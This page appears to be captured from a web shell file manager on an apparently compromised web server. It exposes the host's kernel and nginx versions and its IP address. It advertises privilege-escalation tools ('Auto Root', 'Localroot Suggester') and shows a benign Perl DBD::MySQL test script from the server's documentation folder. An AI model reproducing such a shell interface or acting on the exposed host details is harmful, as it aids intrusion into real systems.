Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.226.4.246
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-DBD-MySQL-4.023 /
eg /
Delete
Unzip
Name
Size
Permission
Date
Action
bug14979.pl
789
B
-rw-r--r--
2012-08-28 01:30
bug21028.pl
2.19
KB
-rw-r--r--
2012-08-28 01:30
bug30033.pl
868
B
-rw-r--r--
2012-08-28 01:30
bug30033pg.pl
456
B
-rw-r--r--
2012-08-28 01:30
decimal_test.pl
839
B
-rw-r--r--
2012-08-28 01:30
issue21946.pl
848
B
-rw-r--r--
2012-08-28 01:30
prepare_memory_usage.pl
450
B
-rw-r--r--
2012-08-28 01:30
proc_example1.pl
1.03
KB
-rw-r--r--
2012-08-28 01:30
proc_example2.pl
1.38
KB
-rw-r--r--
2012-08-28 01:30
proc_example2a.pl
1.29
KB
-rw-r--r--
2012-08-28 01:30
proc_example2b.pl
1.27
KB
-rw-r--r--
2012-08-28 01:30
proc_example3.pl
901
B
-rw-r--r--
2012-08-28 01:30
proc_example4.pl
1.36
KB
-rw-r--r--
2012-08-28 01:30
Save
Rename
#! /usr/bin/perl -wT use strict; use DBI(); MAIN: { $ENV{'DBI_DSN'} ||= 'dbi:mysql:dbname=mysql:mysql_server_prepare=1'; $ENV{'DBI_USER'} ||= 'root'; $ENV{'DBI_PASS'} ||= ''; my ($dbh) = DBI->connect($ENV{DBI_DSN}, $ENV{DBI_USER}, $ENV{DBI_PASS}, {RaiseError => 1, PrintError => 0, AutoCommit => 0}); $dbh->trace(3,"bug14979.trace"); my ($sql) = qq[SELECT * FROM mysql.user WHERE user LIKE ?]; my ($sth) = $dbh->prepare($sql); $sth->execute('foo'); $sth->finish(); my ($pid); if ($pid = fork()) { waitpid($pid, 0); unless ($? == 0) { die("Child failed to execute successfully\n"); } } elsif (defined $pid) { $dbh->{'InactiveDestroy'} = 1; exit(0); } else { die("Failed to fork:$!\n"); } $sth->execute('foo'); $sth->finish(); $dbh->disconnect(); }